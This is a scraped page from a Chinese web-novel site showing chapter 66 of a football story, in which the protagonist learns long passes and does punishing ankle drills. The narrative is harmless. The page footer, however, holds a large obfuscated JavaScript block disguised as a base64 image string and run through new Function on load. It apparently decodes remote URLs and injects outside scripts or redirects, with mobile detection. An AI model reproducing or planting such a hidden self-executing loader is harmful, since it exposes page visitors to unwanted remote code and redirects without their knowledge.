首页
第六十六章 你的就是我的(求
返回
关灯 护眼:关 字号:小

第六十六章 你的就是我的(求收藏)

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第六十六章你的就是我的(求收藏)(第1/2页)
    酷哥教练这家伙根本不会教人,甚至不会说人话。
    魏来问怎么传的准?
    他说感觉!
    魏来问怎么控制力道?
    他说感觉!
    魏来又问怎么控制旋转?
    他终于不说感觉了,而是说...
    “这玩意你学不会!这叫天赋!”
    魏来真的很想掐死这家伙,如果可以的话!
    “好吧,我没有天赋,我也不知道怎么传的准,怎么控制力道,你也不会教,最起码你也不知道怎么教我,所以....”
    魏来把皮球扔过去。
    酷哥教练双手抱住皮球,抬头;“干嘛?”
    魏来恶狠狠道;“给老子踢!一次次的踢!成百上千次的踢!直到老子看懂为止,不然就投诉你!”
    屈服于魏来的投诉,酷哥教练只能一次次的示范。
    而魏来则是坐在草坪上,仔细的盯着酷哥教练。
    “你别加旋转,普通的长传就行!”
    酷哥教练再次调整自己的动作。
    魏来微微挑眉,好像看出了一些门道。
    “摆腿的幅度以及下切的角度,触球的部位也很关键....不对,这家伙的身体倾斜角度也不对劲儿!”
    想到这里,魏来起身:“我试试!”
    酷哥教练耸耸肩站在后方。
    魏来立马站在球前,仔细的回想着酷哥教练的动作。
    “身体要倾斜、摆腿的幅度要大、下切要果断、不能抬脚,让皮球升起来!”
    嘶!!
    刚摆出动作,魏来就感觉脚腕疼的要死。
    这一脚直接踢疵了。
    “这根本摆不到你那个倾斜角度啊!”
    魏来呲着牙,揉着脚腕,差点就扭到了。
    酷哥教练耸肩:“你脚腕菜!关我什么事儿?”
    “脚腕力量不够?”魏来思考道。
    酷哥教练;“脚腕柔韧性也不行!”
    魏来;“柔韧性跟力量,这才是关键吗?”
    说罢,他抬头道;“你看!你会教,但就是不教!”
    酷哥教练哭笑不得:“我知道这些原理,但我不知道怎么教啊!怎么提升你的脚腕力量,怎么让你的脚腕变得韧性十足,这些我都不知道该怎么训练!”
    魏来:“你是怎么练的?”
    “练?”酷哥教练一脸不解道;“这玩意需要练?”
    魏来:“......”
    .......
    魏来找到吹风机教练。
    “脚腕力量以及柔韧性训练?”吹风机教练看着魏来。
    他缓缓起身道;“你平时怎么练的?给我看看!“
    说罢,魏来立马找了个杠铃扛起来。
    他刚扛起来,吹风机教练就摆手道;“放下吧,你练错了!”
    “啊?”
    魏来不解。
    “你那个是小腿肌肉的训练,对于踝关节的压力不够大!”
    说罢,他从一旁拎来了一个皮质的台子,又拿来杠铃片。
    皮质台子放在后方,三个杠铃片放在前方,成三角形。
    “左腿脚背搭在台子上,右脚单脚连续有节奏的踩踏这三个杠铃片!”
    魏来立马照做。
    大数据时代,他也刷到过这类训练视频。
    只不过,相比于视频那些训练,吹风机教练要求的节奏要快得多。
    “加快!”
    “再快!”
    “你是蜗牛吗?继续加快!”
    魏来咬着牙,加快单腿脚下移动频率。
    “双手摆起来!加快动作,一!二!一!二!动起来!”
    连续的高速移动频率下,脚腕很快就出出现酸麻感。
    “酸了!酸了!”
    魏来咬着牙道。
    “继续!”吹风机教练怒吼;“这才刚开始,加快节奏,不要偷懒,你这个混小子!”
    最后魏来都感觉酸的失去知觉了,吹风机教练这才叫停。
    (本章未完,请点击下一页继续阅读)第六十六章你的就是我的(求收藏)(第2/2页)
    但压根不给他休息时间。
    “换条腿继续!”
    魏来只能忍着酸胀感,换条腿继续练。
    嘶~~~呼~~~
    嘶~~~呼~~~
    嘶~~~呼~~~
    “加快频率!!——”
    嘶!呼!
    嘶!呼!
    嘶!呼!
    “哇~~~酸了!酸了!麻了!麻了!”
    魏来感觉脚腕都要失去知觉了。
    但吹风机教练扔来一个平衡球垫。
    “抱着杠铃片单腿跳上去,保持30秒!”
    魏来惊愕道;“啊?我怕扭伤了!”
    “不会扭伤!”
    “真的!我脚腕都麻了!”
    吹风机教练咆哮道:“混账!你在质疑我?赶紧跳上去!”
    这家伙作势要踢人,魏来立马抱起杠铃片,赶紧照做。
    吱嘎!
    啊!!!!——
    魏来抱着脚腕,疼的大叫。
    吹风机教练上前查看:“扭伤了!”
    魏来疼的呲牙咧嘴;“我都说要扭伤了!”
    “多大点事儿!”
    吹风机教练起身之后,点了点前方,魏来脚踝那种疼痛感顿时消失。
    “唉?”魏来动了动脚踝。
    “不疼了!”
    “状态刷新了。”吹风机教练冷冷的声音传来;“再次按刚才的步骤练,直到不会扭伤为止!”
    魏来:“!!!”
    这么斯巴达嘛!
    真就是只要练不死,就往死里练!
    ......
    早晨,酒店健身房。
    国外的酒店,健身房几乎就是标配。
    早晨6点,时间尚早,因此健身房也是寥寥几个人。
    有人在跑步,有人在撸铁。
    而在训练绳区域,一个少年单腿放在一侧躺椅上,另一只腿的脚尖则是快速的点地。
    他的频率很快,动作很迅捷,但节奏感却是十足,没有那种胡乱踩踏的感觉。
    魏来挥汗如雨的训练,嘴里则是碎碎念。
    “让你装逼!就你是天才?你的天赋就是我的天赋!你这个脚腕柔韧性,我要定了!”
    自从看过酷哥教练的长传球之后,魏来对于其他长传球就祛魅了。
    那种直来直往的长传球,一点观赏性都没有。
    而酷哥教练,那种近乎画彩虹一样的长传球,简直把实用性以及观赏性拉满了。
    不过,魏来清楚,想要达到酷哥教练那种程度,短时间内是不可能的。
    那种旋转的弧度!
    那种精准的落点!
    那种突然的下坠!
    那种力量与速度结合的长传!
    目前的魏来是扒不下来的。
    不过,魏来也给自己设定了两个目标,即两种长传方式。
    酷哥教练的彩虹传球,他目前无法将这些东西结合起来,那就分开。
    一种是强烈旋转、夸张弧度的长传球!
    这种长传优点是迷惑性强,防守方无法精准判断落点/缺点则是球速慢,需要在特性情况下使用。
    另一种则是直来直往的45度斜向长传,有速度有力量,但落点很容易被判断出来,需要在快速反击时,适时使用。
    目前,这两种被拆分的长传球是魏来必须要掌握的目标!
    唯有如此,他才能够在后方直接发动进攻,也算是让自己在进攻端多出了一些能力。
    魏来自信对于比赛的阅读以及空挡有着更为敏锐的嗅觉,但苦于没有技术加持,因此无法发动进攻。
    一旦把这两项技术掌握了,那么对他的加成将大大提高。
    当然,这不是短时间内可以实现的事情,但在一年内终归是可以的!
    最起码在世少赛开始前,他必须要掌握!
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();